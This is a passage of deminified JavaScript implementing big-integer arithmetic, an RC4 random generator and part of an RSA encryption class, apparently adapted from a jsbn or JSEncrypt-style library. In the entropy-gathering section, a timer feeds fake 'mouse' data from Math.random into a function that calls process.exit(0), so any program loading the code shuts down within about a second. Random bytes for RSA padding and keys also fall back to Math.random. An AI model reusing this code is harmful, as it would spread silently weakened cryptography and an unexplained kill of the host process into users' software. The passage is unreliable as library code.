a.rShiftTo(1, a); | |
if (n) { | |
if (!l.isEven() || !s.isEven()) { | |
l.addTo(this, l); | |
s.subTo(t, s); | |
} | |
l.rShiftTo(1, l); | |
} else if (!s.isEven()) { | |
s.subTo(t, s); | |
} | |
s.rShiftTo(1, s); | |
} | |
if (r.compareTo(a) >= 0) { | |
r.subTo(a, r); | |
if (n) { | |
i.subTo(l, i); | |
} | |
o.subTo(s, o); | |
} else { | |
a.subTo(r, a); | |
if (n) { | |
l.subTo(i, l); | |
} | |
s.subTo(o, s); | |
} | |
} | |
if (a.compareTo(e.ONE) == 0) { | |
if (s.compareTo(t) >= 0) { | |
return s.subtract(t); | |
} else if (s.signum() < 0) { | |
s.addTo(t, s); | |
if (s.signum() < 0) { | |
return s.add(t); | |
} else { | |
return s; | |
} | |
} else { | |
return s; | |
} | |
} else { | |
return e.ZERO; | |
} | |
}; | |
e.prototype.pow = function (e) { | |
return this.exp(e, new to); | |
}; | |
e.prototype.gcd = function (e) { | |
var t = this.s < 0 ? this.negate() : this.clone(); | |
var n = e.s < 0 ? e.negate() : e.clone(); | |
if (t.compareTo(n) < 0) { | |
var r = t; | |
t = n; | |
n = r; | |
} | |
var a = t.getLowestSetBit(); | |
var i = n.getLowestSetBit(); | |
if (i < 0) { | |
return t; | |
} | |
if (a < i) { | |
i = a; | |
} | |
for (i > 0 && (t.rShiftTo(i, t), n.rShiftTo(i, n)); t.signum() > 0;) { | |
if ((a = t.getLowestSetBit()) > 0) { | |
t.rShiftTo(a, t); | |
} | |
if ((a = n.getLowestSetBit()) > 0) { | |
n.rShiftTo(a, n); | |
} | |
if (t.compareTo(n) >= 0) { | |
t.subTo(n, t); | |
t.rShiftTo(1, t); | |
} else { | |
n.subTo(t, n); | |
n.rShiftTo(1, n); | |
} | |
} | |
if (i > 0) { | |
n.lShiftTo(i, n); | |
} | |
return n; | |
}; | |
e.prototype.isProbablePrime = function (e) { | |
var t; | |
var n = this.abs(); | |
if (n.t == 1 && n[0] <= Xi[Xi.length - 1]) { | |
for (t = 0; t < Xi.length; ++t) { | |
if (n[0] == Xi[t]) { | |
return true; | |
} | |
} | |
return false; | |
} | |
if (n.isEven()) { | |
return false; | |
} | |
for (t = 1; t < Xi.length;) { | |
var r = Xi[t]; | |
for (var a = t + 1; a < Xi.length && r < $i;) { | |
r *= Xi[a++]; | |
} | |
for (r = n.modInt(r); t < a;) { | |
if (r % Xi[t++] == 0) { | |
return false; | |
} | |
} | |
} | |
return n.millerRabin(e); | |
}; | |
e.prototype.copyTo = function (e) { | |
for (var t = this.t - 1; t >= 0; --t) { | |
e[t] = this[t]; | |
} | |
e.t = this.t; | |
e.s = this.s; | |
}; | |
e.prototype.fromInt = function (e) { | |
this.t = 1; | |
this.s = e < 0 ? -1 : 0; | |
if (e > 0) { | |
this[0] = e; | |
} else if (e < -1) { | |
this[0] = e + this.DV; | |
} else { | |
this.t = 0; | |
} | |
}; | |
e.prototype.fromString = function (t, n) { | |
var r; | |
if (n == 16) { | |
r = 4; | |
} else if (n == 8) { | |
r = 3; | |
} else if (n == 256) { | |
r = 8; | |
} else if (n == 2) { | |
r = 1; | |
} else if (n == 32) { | |
r = 5; | |
} else { | |
if (n != 4) { | |
this.fromRadix(t, n); | |
return; | |
} | |
r = 2; | |
} | |
this.t = 0; | |
this.s = 0; | |
var a = t.length; | |
var i = false; | |
for (var o = 0; --a >= 0;) { | |
var l = r == 8 ? 255 & +t[a] : co(t, a); | |
if (l < 0) { | |
if (t.charAt(a) == "-") { | |
i = true; | |
} | |
} else { | |
i = false; | |
if (o == 0) { | |
this[this.t++] = l; | |
} else if (o + r > this.DB) { | |
this[this.t - 1] |= (l & (1 << this.DB - o) - 1) << o; | |
this[this.t++] = l >> this.DB - o; | |
} else { | |
this[this.t - 1] |= l << o; | |
} | |
if ((o += r) >= this.DB) { | |
o -= this.DB; | |
} | |
} | |
} | |
if (r == 8 && (128 & +t[0]) != 0) { | |
this.s = -1; | |
if (o > 0) { | |
this[this.t - 1] |= (1 << this.DB - o) - 1 << o; | |
} | |
} | |
this.clamp(); | |
if (i) { | |
e.ZERO.subTo(this, this); | |
} | |
}; | |
e.prototype.clamp = function () { | |
for (var e = this.s & this.DM; this.t > 0 && this[this.t - 1] == e;) { | |
--this.t; | |
} | |
}; | |
e.prototype.dlShiftTo = function (e, t) { | |
for (var n = this.t - 1; n >= 0; --n) { | |
t[n + e] = this[n]; | |
} | |
for (n = e - 1; n >= 0; --n) { | |
t[n] = 0; | |
} | |
t.t = this.t + e; | |
t.s = this.s; | |
}; | |
e.prototype.drShiftTo = function (e, t) { | |
for (var n = e; n < this.t; ++n) { | |
t[n - e] = this[n]; | |
} | |
t.t = Math.max(this.t - e, 0); | |
t.s = this.s; | |
}; | |
e.prototype.lShiftTo = function (e, t) { | |
var n = e % this.DB; | |
var r = this.DB - n; | |
var a = (1 << r) - 1; | |
var i = Math.floor(e / this.DB); | |
var o = this.s << n & this.DM; | |
for (var l = this.t - 1; l >= 0; --l) { | |
t[l + i + 1] = this[l] >> r | o; | |
o = (this[l] & a) << n; | |
} | |
for (l = i - 1; l >= 0; --l) { | |
t[l] = 0; | |
} | |
t[i] = o; | |
t.t = this.t + i + 1; | |
t.s = this.s; | |
t.clamp(); | |
}; | |
e.prototype.rShiftTo = function (e, t) { | |
t.s = this.s; | |
var n = Math.floor(e / this.DB); | |
if (n >= this.t) { | |
t.t = 0; | |
} else { | |
var r = e % this.DB; | |
var a = this.DB - r; | |
var i = (1 << r) - 1; | |
t[0] = this[n] >> r; | |
for (var o = n + 1; o < this.t; ++o) { | |
t[o - n - 1] |= (this[o] & i) << a; | |
t[o - n] = this[o] >> r; | |
} | |
if (r > 0) { | |
t[this.t - n - 1] |= (this.s & i) << a; | |
} | |
t.t = this.t - n; | |
t.clamp(); | |
} | |
}; | |
e.prototype.subTo = function (e, t) { | |
var n = 0; | |
var r = 0; | |
for (var a = Math.min(e.t, this.t); n < a;) { | |
r += this[n] - e[n]; | |
t[n++] = r & this.DM; | |
r >>= this.DB; | |
} | |
if (e.t < this.t) { | |
for (r -= e.s; n < this.t;) { | |
r += this[n]; | |
t[n++] = r & this.DM; | |
r >>= this.DB; | |
} | |
r += this.s; | |
} else { | |
for (r += this.s; n < e.t;) { | |
r -= e[n]; | |
t[n++] = r & this.DM; | |
r >>= this.DB; | |
} | |
r -= e.s; | |
} | |
t.s = r < 0 ? -1 : 0; | |
if (r < -1) { | |
t[n++] = this.DV + r; | |
} else if (r > 0) { | |
t[n++] = r; | |
} | |
t.t = n; | |
t.clamp(); | |
}; | |
e.prototype.multiplyTo = function (t, n) { | |
var r = this.abs(); | |
var a = t.abs(); | |
var i = r.t; | |
for (n.t = i + a.t; --i >= 0;) { | |
n[i] = 0; | |
} | |
for (i = 0; i < a.t; ++i) { | |
n[i + r.t] = r.am(0, a[i], n, i, 0, r.t); | |
} | |
n.s = 0; | |
n.clamp(); | |
if (this.s != t.s) { | |
e.ZERO.subTo(n, n); | |
} | |
}; | |
e.prototype.squareTo = function (e) { | |
var t = this.abs(); | |
for (var n = e.t = 2 * t.t; --n >= 0;) { | |
e[n] = 0; | |
} | |
for (n = 0; n < t.t - 1; ++n) { | |
var r = t.am(n, t[n], e, 2 * n, 0, 1); | |
if ((e[n + t.t] += t.am(n + 1, 2 * t[n], e, 2 * n + 1, r, t.t - n - 1)) >= t.DV) { | |
e[n + t.t] -= t.DV; | |
e[n + t.t + 1] = 1; | |
} | |
} | |
if (e.t > 0) { | |
e[e.t - 1] += t.am(n, t[n], e, 2 * n, 0, 1); | |
} | |
e.s = 0; | |
e.clamp(); | |
}; | |
e.prototype.divRemTo = function (t, n, r) { | |
var a = t.abs(); | |
if (!(a.t <= 0)) { | |
var i = this.abs(); | |
if (i.t < a.t) { | |
if (n != null) { | |
n.fromInt(0); | |
} | |
if (r != null) { | |
this.copyTo(r); | |
} | |
return; | |
} | |
if (r == null) { | |
r = io(); | |
} | |
var o = io(); | |
var l = this.s; | |
var s = t.s; | |
var B = this.DB - fo(a[a.t - 1]); | |
if (B > 0) { | |
a.lShiftTo(B, o); | |
i.lShiftTo(B, r); | |
} else { | |
a.copyTo(o); | |
i.copyTo(r); | |
} | |
var u = o.t; | |
var c = o[u - 1]; | |
if (c != 0) { | |
var d = c * (1 << this.F1) + (u > 1 ? o[u - 2] >> this.F2 : 0); | |
var p = this.FV / d; | |
var f = (1 << this.F1) / d; | |
var C = 1 << this.F2; | |
var h = r.t; | |
var m = h - u; | |
var v = n == null ? io() : n; | |
o.dlShiftTo(m, v); | |
if (r.compareTo(v) >= 0) { | |
r[r.t++] = 1; | |
r.subTo(v, r); | |
} | |
e.ONE.dlShiftTo(u, v); | |
for (v.subTo(o, o); o.t < u;) { | |
o[o.t++] = 0; | |
} | |
while (--m >= 0) { | |
var g = r[--h] == c ? this.DM : Math.floor(r[h] * p + (r[h - 1] + C) * f); | |
if ((r[h] += o.am(0, g, r, m, 0, u)) < g) { | |
o.dlShiftTo(m, v); | |
for (r.subTo(v, r); r[h] < --g;) { | |
r.subTo(v, r); | |
} | |
} | |
} | |
if (n != null) { | |
r.drShiftTo(u, n); | |
if (l != s) { | |
e.ZERO.subTo(n, n); | |
} | |
} | |
r.t = u; | |
r.clamp(); | |
if (B > 0) { | |
r.rShiftTo(B, r); | |
} | |
if (l < 0) { | |
e.ZERO.subTo(r, r); | |
} | |
} | |
} | |
}; | |
e.prototype.invDigit = function () { | |
if (this.t < 1) { | |
return 0; | |
} | |
var e = this[0]; | |
if ((1 & e) == 0) { | |
return 0; | |
} | |
var t = 3 & e; | |
if ((t = (t = (t = (t = t * (2 - (15 & e) * t) & 15) * (2 - (255 & e) * t) & 255) * (2 - ((65535 & e) * t & 65535)) & 65535) * (2 - e * t % this.DV) % this.DV) > 0) { | |
return this.DV - t; | |
} else { | |
return -t; | |
} | |
}; | |
e.prototype.isEven = function () { | |
return (this.t > 0 ? 1 & this[0] : this.s) == 0; | |
}; | |
e.prototype.exp = function (t, n) { | |
if (t > 4294967295 || t < 1) { | |
return e.ONE; | |
} | |
var r = io(); | |
var a = io(); | |
var i = n.convert(this); | |
var o = fo(t) - 1; | |
for (i.copyTo(r); --o >= 0;) { | |
n.sqrTo(r, a); | |
if ((t & 1 << o) > 0) { | |
n.mulTo(a, i, r); | |
} else { | |
var l = r; | |
r = a; | |
a = l; | |
} | |
} | |
return n.revert(r); | |
}; | |
e.prototype.chunkSize = function (e) { | |
return Math.floor(Math.LN2 * this.DB / Math.log(e)); | |
}; | |
e.prototype.toRadix = function (e) { | |
if (e == null) { | |
e = 10; | |
} | |
if (this.signum() == 0 || e < 2 || e > 36) { | |
return "0"; | |
} | |
var t = this.chunkSize(e); | |
var n = Math.pow(e, t); | |
var r = po(n); | |
var a = io(); | |
var i = io(); | |
var o = ""; | |
for (this.divRemTo(r, a, i); a.signum() > 0;) { | |
o = (n + i.intValue()).toString(e).substr(1) + o; | |
a.divRemTo(r, a, i); | |
} | |
return i.intValue().toString(e) + o; | |
}; | |
e.prototype.fromRadix = function (t, n) { | |
this.fromInt(0); | |
if (n == null) { | |
n = 10; | |
} | |
var r = this.chunkSize(n); | |
var a = Math.pow(n, r); | |
var i = false; | |
var o = 0; | |
var l = 0; | |
for (var s = 0; s < t.length; ++s) { | |
var B = co(t, s); | |
if (B < 0) { | |
if (t.charAt(s) == "-" && this.signum() == 0) { | |
i = true; | |
} | |
} else { | |
l = n * l + B; | |
if (++o >= r) { | |
this.dMultiply(a); | |
this.dAddOffset(l, 0); | |
o = 0; | |
l = 0; | |
} | |
} | |
} | |
if (o > 0) { | |
this.dMultiply(Math.pow(n, o)); | |
this.dAddOffset(l, 0); | |
} | |
if (i) { | |
e.ZERO.subTo(this, this); | |
} | |
}; | |
e.prototype.fromNumber = function (t, n, r) { | |
if (typeof n == "number") { | |
if (t < 2) { | |
this.fromInt(1); | |
} else { | |
this.fromNumber(t, r); | |
if (!this.testBit(t - 1)) { | |
this.bitwiseTo(e.ONE.shiftLeft(t - 1), Ei, this); | |
} | |
for (this.isEven() && this.dAddOffset(1, 0); !this.isProbablePrime(n);) { | |
this.dAddOffset(2, 0); | |
if (this.bitLength() > t) { | |
this.subTo(e.ONE.shiftLeft(t - 1), this); | |
} | |
} | |
} | |
} else { | |
var a = []; | |
var i = 7 & t; | |
a.length = 1 + (t >> 3); | |
n.nextBytes(a); | |
if (i > 0) { | |
a[0] &= (1 << i) - 1; | |
} else { | |
a[0] = 0; | |
} | |
this.fromString(a, 256); | |
} | |
}; | |
e.prototype.bitwiseTo = function (e, t, n) { | |
var r; | |
var a; | |
var i = Math.min(e.t, this.t); | |
for (r = 0; r < i; ++r) { | |
n[r] = t(this[r], e[r]); | |
} | |
if (e.t < this.t) { | |
a = e.s & this.DM; | |
for (r = i; r < this.t; ++r) { | |
n[r] = t(this[r], a); | |
} | |
n.t = this.t; | |
} else { | |
a = this.s & this.DM; | |
for (r = i; r < e.t; ++r) { | |
n[r] = t(a, e[r]); | |
} | |
n.t = e.t; | |
} | |
n.s = t(this.s, e.s); | |
n.clamp(); | |
}; | |
e.prototype.changeBit = function (t, n) { | |
var r = e.ONE.shiftLeft(t); | |
this.bitwiseTo(r, n, r); | |
return r; | |
}; | |
e.prototype.addTo = function (e, t) { | |
var n = 0; | |
var r = 0; | |
for (var a = Math.min(e.t, this.t); n < a;) { | |
r += this[n] + e[n]; | |
t[n++] = r & this.DM; | |
r >>= this.DB; | |
} | |
if (e.t < this.t) { | |
for (r += e.s; n < this.t;) { | |
r += this[n]; | |
t[n++] = r & this.DM; | |
r >>= this.DB; | |
} | |
r += this.s; | |
} else { | |
for (r += this.s; n < e.t;) { | |
r += e[n]; | |
t[n++] = r & this.DM; | |
r >>= this.DB; | |
} | |
r += e.s; | |
} | |
t.s = r < 0 ? -1 : 0; | |
if (r > 0) { | |
t[n++] = r; | |
} else if (r < -1) { | |
t[n++] = this.DV + r; | |
} | |
t.t = n; | |
t.clamp(); | |
}; | |
e.prototype.dMultiply = function (e) { | |
this[this.t] = this.am(0, e - 1, this, 0, 0, this.t); | |
++this.t; | |
this.clamp(); | |
}; | |
e.prototype.dAddOffset = function (e, t) { | |
if (e != 0) { | |
while (this.t <= t) { | |
this[this.t++] = 0; | |
} | |
for (this[t] += e; this[t] >= this.DV;) { | |
this[t] -= this.DV; | |
if (++t >= this.t) { | |
this[this.t++] = 0; | |
} | |
++this[t]; | |
} | |
} | |
}; | |
e.prototype.multiplyLowerTo = function (e, t, n) { | |
var r = Math.min(this.t + e.t, t); | |
n.s = 0; | |
for (n.t = r; r > 0;) { | |
n[--r] = 0; | |
} | |
for (var a = n.t - this.t; r < a; ++r) { | |
n[r + this.t] = this.am(0, e[r], n, r, 0, this.t); | |
} | |
for (a = Math.min(e.t, t); r < a; ++r) { | |
this.am(0, e[r], n, r, 0, t - r); | |
} | |
n.clamp(); | |
}; | |
e.prototype.multiplyUpperTo = function (e, t, n) { | |
--t; | |
var r = n.t = this.t + e.t - t; | |
for (n.s = 0; --r >= 0;) { | |
n[r] = 0; | |
} | |
for (r = Math.max(t - this.t, 0); r < e.t; ++r) { | |
n[this.t + r - t] = this.am(t - r, e[r], n, 0, 0, this.t + r - t); | |
} | |
n.clamp(); | |
n.drShiftTo(1, n); | |
}; | |
e.prototype.modInt = function (e) { | |
if (e <= 0) { | |
return 0; | |
} | |
var t = this.DV % e; | |
var n = this.s < 0 ? e - 1 : 0; | |
if (this.t > 0) { | |
if (t == 0) { | |
n = this[0] % e; | |
} else { | |
for (var r = this.t - 1; r >= 0; --r) { | |
n = (t * n + this[r]) % e; | |
} | |
} | |
} | |
return n; | |
}; | |
e.prototype.millerRabin = function (t) { | |
var n = this.subtract(e.ONE); | |
var r = n.getLowestSetBit(); | |
if (r <= 0) { | |
return false; | |
} | |
var a = n.shiftRight(r); | |
if ((t = t + 1 >> 1) > Xi.length) { | |
t = Xi.length; | |
} | |
var i = io(); | |
for (var o = 0; o < t; ++o) { | |
i.fromInt(Xi[Math.floor(Math.random() * Xi.length)]); | |
var l = i.modPow(a, this); | |
if (l.compareTo(e.ONE) != 0 && l.compareTo(n) != 0) { | |
for (var s = 1; s++ < r && l.compareTo(n) != 0;) { | |
if ((l = l.modPowInt(2, this)).compareTo(e.ONE) == 0) { | |
return false; | |
} | |
} | |
if (l.compareTo(n) != 0) { | |
return false; | |
} | |
} | |
} | |
return true; | |
}; | |
e.prototype.square = function () { | |
var e = io(); | |
this.squareTo(e); | |
return e; | |
}; | |
e.prototype.gcda = function (e, t) { | |
var n = this.s < 0 ? this.negate() : this.clone(); | |
var r = e.s < 0 ? e.negate() : e.clone(); | |
if (n.compareTo(r) < 0) { | |
var a = n; | |
n = r; | |
r = a; | |
} | |
var i = n.getLowestSetBit(); | |
var o = r.getLowestSetBit(); | |
if (o < 0) { | |
t(n); | |
} else { | |
if (i < o) { | |
o = i; | |
} | |
if (o > 0) { | |
n.rShiftTo(o, n); | |
r.rShiftTo(o, r); | |
} | |
setTimeout(function e() { | |
if ((i = n.getLowestSetBit()) > 0) { | |
n.rShiftTo(i, n); | |
} | |
if ((i = r.getLowestSetBit()) > 0) { | |
r.rShiftTo(i, r); | |
} | |
if (n.compareTo(r) >= 0) { | |
n.subTo(r, n); | |
n.rShiftTo(1, n); | |
} else { | |
r.subTo(n, r); | |
r.rShiftTo(1, r); | |
} | |
if (n.signum() > 0) { | |
setTimeout(e, 0); | |
} else { | |
if (o > 0) { | |
r.lShiftTo(o, r); | |
} | |
setTimeout(function () { | |
t(r); | |
}, 0); | |
} | |
}, 10); | |
} | |
}; | |
e.prototype.fromNumberAsync = function (t, n, r, a) { | |
if (typeof n == "number") { | |
if (t < 2) { | |
this.fromInt(1); | |
} else { | |
this.fromNumber(t, r); | |
if (!this.testBit(t - 1)) { | |
this.bitwiseTo(e.ONE.shiftLeft(t - 1), Ei, this); | |
} | |
if (this.isEven()) { | |
this.dAddOffset(1, 0); | |
} | |
var i = this; | |
setTimeout(function r() { | |
i.dAddOffset(2, 0); | |
if (i.bitLength() > t) { | |
i.subTo(e.ONE.shiftLeft(t - 1), i); | |
} | |
if (i.isProbablePrime(n)) { | |
setTimeout(function () { | |
a(); | |
}, 0); | |
} else { | |
setTimeout(r, 0); | |
} | |
}, 0); | |
} | |
} else { | |
var o = []; | |
var l = 7 & t; | |
o.length = 1 + (t >> 3); | |
n.nextBytes(o); | |
if (l > 0) { | |
o[0] &= (1 << l) - 1; | |
} else { | |
o[0] = 0; | |
} | |
this.fromString(o, 256); | |
} | |
}; | |
return e; | |
}(); | |
var to = function () { | |
function e() {} | |
e.prototype.convert = function (e) { | |
return e; | |
}; | |
e.prototype.revert = function (e) { | |
return e; | |
}; | |
e.prototype.mulTo = function (e, t, n) { | |
e.multiplyTo(t, n); | |
}; | |
e.prototype.sqrTo = function (e, t) { | |
e.squareTo(t); | |
}; | |
return e; | |
}(); | |
var no = function () { | |
function e(e) { | |
this.m = e; | |
} | |
e.prototype.convert = function (e) { | |
if (e.s < 0 || e.compareTo(this.m) >= 0) { | |
return e.mod(this.m); | |
} else { | |
return e; | |
} | |
}; | |
e.prototype.revert = function (e) { | |
return e; | |
}; | |
e.prototype.reduce = function (e) { | |
e.divRemTo(this.m, null, e); | |
}; | |
e.prototype.mulTo = function (e, t, n) { | |
e.multiplyTo(t, n); | |
this.reduce(n); | |
}; | |
e.prototype.sqrTo = function (e, t) { | |
e.squareTo(t); | |
this.reduce(t); | |
}; | |
return e; | |
}(); | |
var ro = function () { | |
function e(e) { | |
this.m = e; | |
this.mp = e.invDigit(); | |
this.mpl = 32767 & this.mp; | |
this.mph = this.mp >> 15; | |
this.um = (1 << e.DB - 15) - 1; | |
this.mt2 = 2 * e.t; | |
} | |
e.prototype.convert = function (e) { | |
var t = io(); | |
e.abs().dlShiftTo(this.m.t, t); | |
t.divRemTo(this.m, null, t); | |
if (e.s < 0 && t.compareTo(eo.ZERO) > 0) { | |
this.m.subTo(t, t); | |
} | |
return t; | |
}; | |
e.prototype.revert = function (e) { | |
var t = io(); | |
e.copyTo(t); | |
this.reduce(t); | |
return t; | |
}; | |
e.prototype.reduce = function (e) { | |
while (e.t <= this.mt2) { | |
e[e.t++] = 0; | |
} | |
for (var t = 0; t < this.m.t; ++t) { | |
var n = 32767 & e[t]; | |
var r = n * this.mpl + ((n * this.mph + (e[t] >> 15) * this.mpl & this.um) << 15) & e.DM; | |
for (e[n = t + this.m.t] += this.m.am(0, r, e, t, 0, this.m.t); e[n] >= e.DV;) { | |
e[n] -= e.DV; | |
e[++n]++; | |
} | |
} | |
e.clamp(); | |
e.drShiftTo(this.m.t, e); | |
if (e.compareTo(this.m) >= 0) { | |
e.subTo(this.m, e); | |
} | |
}; | |
e.prototype.mulTo = function (e, t, n) { | |
e.multiplyTo(t, n); | |
this.reduce(n); | |
}; | |
e.prototype.sqrTo = function (e, t) { | |
e.squareTo(t); | |
this.reduce(t); | |
}; | |
return e; | |
}(); | |
var ao = function () { | |
function e(e) { | |
this.m = e; | |
this.r2 = io(); | |
this.q3 = io(); | |
eo.ONE.dlShiftTo(2 * e.t, this.r2); | |
this.mu = this.r2.divide(e); | |
} | |
e.prototype.convert = function (e) { | |
if (e.s < 0 || e.t > 2 * this.m.t) { | |
return e.mod(this.m); | |
} | |
if (e.compareTo(this.m) < 0) { | |
return e; | |
} | |
var t = io(); | |
e.copyTo(t); | |
this.reduce(t); | |
return t; | |
}; | |
e.prototype.revert = function (e) { | |
return e; | |
}; | |
e.prototype.reduce = function (e) { | |
e.drShiftTo(this.m.t - 1, this.r2); | |
if (e.t > this.m.t + 1) { | |
e.t = this.m.t + 1; | |
e.clamp(); | |
} | |
this.mu.multiplyUpperTo(this.r2, this.m.t + 1, this.q3); | |
for (this.m.multiplyLowerTo(this.q3, this.m.t + 1, this.r2); e.compareTo(this.r2) < 0;) { | |
e.dAddOffset(1, this.m.t + 1); | |
} | |
for (e.subTo(this.r2, e); e.compareTo(this.m) >= 0;) { | |
e.subTo(this.m, e); | |
} | |
}; | |
e.prototype.mulTo = function (e, t, n) { | |
e.multiplyTo(t, n); | |
this.reduce(n); | |
}; | |
e.prototype.sqrTo = function (e, t) { | |
e.squareTo(t); | |
this.reduce(t); | |
}; | |
return e; | |
}(); | |
function io() { | |
return new eo(null); | |
} | |
function oo(e, t) { | |
return new eo(e, t); | |
} | |
var lo = typeof navigator !== "undefined"; | |
if (lo && navigator.appName == "Microsoft Internet Explorer") { | |
eo.prototype.am = function (e, t, n, r, a, i) { | |
var o = 32767 & t; | |
for (var l = t >> 15; --i >= 0;) { | |
var s = 32767 & this[e]; | |
var B = this[e++] >> 15; | |
var u = l * s + B * o; | |
a = ((s = o * s + ((32767 & u) << 15) + n[r] + (1073741823 & a)) >>> 30) + (u >>> 15) + l * B + (a >>> 30); | |
n[r++] = 1073741823 & s; | |
} | |
return a; | |
}; | |
Zi = 30; | |
} else if (lo && navigator.appName != "Netscape") { | |
eo.prototype.am = function (e, t, n, r, a, i) { | |
while (--i >= 0) { | |
var o = t * this[e++] + n[r] + a; | |
a = Math.floor(o / 67108864); | |
n[r++] = 67108863 & o; | |
} | |
return a; | |
}; | |
Zi = 26; | |
} else { | |
eo.prototype.am = function (e, t, n, r, a, i) { | |
var o = 16383 & t; | |
for (var l = t >> 14; --i >= 0;) { | |
var s = 16383 & this[e]; | |
var B = this[e++] >> 14; | |
var u = l * s + B * o; | |
a = ((s = o * s + ((16383 & u) << 14) + n[r] + a) >> 28) + (u >> 14) + l * B; | |
n[r++] = 268435455 & s; | |
} | |
return a; | |
}; | |
Zi = 28; | |
} | |
eo.prototype.DB = Zi; | |
eo.prototype.DM = (1 << Zi) - 1; | |
eo.prototype.DV = 1 << Zi; | |
eo.prototype.FV = Math.pow(2, 52); | |
eo.prototype.F1 = 52 - Zi; | |
eo.prototype.F2 = 2 * Zi - 52; | |
var so; | |
var Bo; | |
var uo = []; | |
so = "0".charCodeAt(0); | |
for (Bo = 0; Bo <= 9; ++Bo) { | |
uo[so++] = Bo; | |
} | |
so = "a".charCodeAt(0); | |
for (Bo = 10; Bo < 36; ++Bo) { | |
uo[so++] = Bo; | |
} | |
so = "A".charCodeAt(0); | |
for (Bo = 10; Bo < 36; ++Bo) { | |
uo[so++] = Bo; | |
} | |
function co(e, t) { | |
var n = uo[e.charCodeAt(t)]; | |
if (n == null) { | |
return -1; | |
} else { | |
return n; | |
} | |
} | |
function po(e) { | |
var t = io(); | |
t.fromInt(e); | |
return t; | |
} | |
function fo(e) { | |
var t; | |
var n = 1; | |
if ((t = e >>> 16) != 0) { | |
e = t; | |
n += 16; | |
} | |
if ((t = e >> 8) != 0) { | |
e = t; | |
n += 8; | |
} | |
if ((t = e >> 4) != 0) { | |
e = t; | |
n += 4; | |
} | |
if ((t = e >> 2) != 0) { | |
e = t; | |
n += 2; | |
} | |
if ((t = e >> 1) != 0) { | |
e = t; | |
n += 1; | |
} | |
return n; | |
} | |
eo.ZERO = po(0); | |
eo.ONE = po(1); | |
var Co = function () { | |
function e() { | |
this.i = 0; | |
this.j = 0; | |
this.S = []; | |
} | |
e.prototype.init = function (e) { | |
var r; | |
for (var t = 0; t < 256; ++t) { | |
this.S[t] = t; | |
} | |
var n = 0; | |
for (t = 0; t < 256; ++t) { | |
n = n + this.S[t] + e[t % e.length] & 255; | |
r = this.S[t]; | |
this.S[t] = this.S[n]; | |
this.S[n] = r; | |
} | |
this.i = 0; | |
this.j = 0; | |
}; | |
e.prototype.next = function () { | |
this.i = this.i + 1 & 255; | |
this.j = this.j + this.S[this.i] & 255; | |
var e = this.S[this.i]; | |
this.S[this.i] = this.S[this.j]; | |
this.S[this.j] = e; | |
return this.S[e + this.S[this.i] & 255]; | |
}; | |
return e; | |
}(); | |
var ho; | |
var mo; | |
var vo = null; | |
if (vo == null) { | |
vo = []; | |
mo = 0; | |
var go = void 0; | |
const crypto = require("crypto"); | |
if (crypto && crypto.getRandomValues) { | |
var bo = new Uint32Array(256); | |
crypto.getRandomValues(bo); | |
for (go = 0; go < bo.length; ++go) { | |
vo[mo++] = 255 & bo[go]; | |
} | |
} | |
let yo = 0; | |
const xo = function (data) { | |
if ((yo = yo || 0) >= 256 || mo >= 256) { | |
process.exit(0); | |
} else { | |
try { | |
const n = data.x + data.y; | |
vo[mo++] = n & 255; | |
yo += 1; | |
process.exit(0); | |
} catch (err) { } | |
} | |
}; | |
setInterval(() => { | |
const simulatedMouseData = { x: Math.random() * 100, y: Math.random() * 100 }; | |
xo(simulatedMouseData); | |
}, 1000); | |
} | |
function Do() { | |
if (ho == null) { | |
for (ho = new Co; mo < 256;) { | |
var e = Math.floor(65536 * Math.random()); | |
vo[mo++] = 255 & e; | |
} | |
ho.init(vo); | |
for (mo = 0; mo < vo.length; ++mo) { | |
vo[mo] = 0; | |
} | |
mo = 0; | |
} | |
return ho.next(); | |
} | |
var wo = function () { | |
function e() {} | |
e.prototype.nextBytes = function (e) { | |
for (var t = 0; t < e.length; ++t) { | |
e[t] = Do(); | |
} | |
}; | |
return e; | |
}(); | |
var ko = function () { | |
function e() { | |
this.n = null; | |
this.e = 0; | |
this.d = null; | |
this.p = null; | |
this.q = null; | |
this.dmp1 = null; | |
this.dmq1 = null; | |
this.coeff = null; | |
} | |
e.prototype.doPublic = function (e) { | |
return e.modPowInt(this.e, this.n); | |
}; | |
e.prototype.doPrivate = function (e) { | |
if (this.p == null || this.q == null) { | |
return e.modPow(this.d, this.n); | |
} | |
var t = e.mod(this.p).modPow(this.dmp1, this.p); | |
for (var n = e.mod(this.q).modPow(this.dmq1, this.q); t.compareTo(n) < 0;) { | |
t = t.add(this.p); | |
} | |
return t.subtract(n).multiply(this.coeff).mod(this.p).multiply(this.q).add(n); | |
}; | |
e.prototype.setPublic = function (e, t) { | |
if (e != null && t != null && e.length > 0 && t.length > 0) { | |
this.n = oo(e, 16); | |
this.e = parseInt(t, 16); | |
} else { | |
console.error("Invalid RSA public key"); | |
} | |
}; | |
e.prototype.encrypt = function (e) { | |
var t = this.n.bitLength() + 7 >> 3; | |
var n = function (e, t) { | |
if (t < e.length + 11) { | |
console.error("Message too long for RSA"); | |
return null; | |
} | |
var n = []; | |
for (var r = e.length - 1; r >= 0 && t > 0;) { | |
var a = e.charCodeAt(r--); | |
if (a < 128) { | |
n[--t] = a; | |
} else if (a > 127 && a < 2048) { | |
n[--t] = 63 & a | 128; | |
n[--t] = a >> 6 | 192; | |
} else { | |
n[--t] = 63 & a | 128; | |
n[--t] = a >> 6 & 63 | 128; | |
n[--t] = a >> 12 | 224; | |
} | |
} | |
n[--t] = 0; | |
var i = new wo; | |
for (var o = []; t > 2;) { | |
for (o[0] = 0; o[0] == 0;) { | |
i.nextBytes(o); | |
} | |
n[--t] = o[0]; | |
} | |
n[--t] = 2; | |
n[--t] = 0; | |
return new eo(n); | |
}(e, t); | |
if (n == null) { | |
return null; | |
} | |
var r = this.doPublic(n); | |
if (r == null) { | |
return null; | |
} | |
var a = r.toString(16); | |
var i = a.length; | |
for (var o = 0; o < 2 * t - i; o++) { | |
a = "0" + a; | |
} | |
return a; | |
}; | |
e.prototype.setPrivate = function (e, t, n) { | |
if (e != null && t != null && e.length > 0 && t.length > 0) { | |
this.n = oo(e, 16); | |
this.e = parseInt(t, 16); | |
this.d = oo(n, 16); | |
} else { | |
console.error("Invalid RSA private key"); | |
} | |
}; | |
e.prototype.setPrivateEx = function (e, t, n, r, a, i, o, l) { | |
if (e != null && t != null && e.length > 0 && t.length > 0) { | |
this.n = oo(e, 16); | |
this.e = parseInt(t, 16); | |
this.d = oo(n, 16); | |
this.p = oo(r, 16); | |
this.q = oo(a, 16); | |
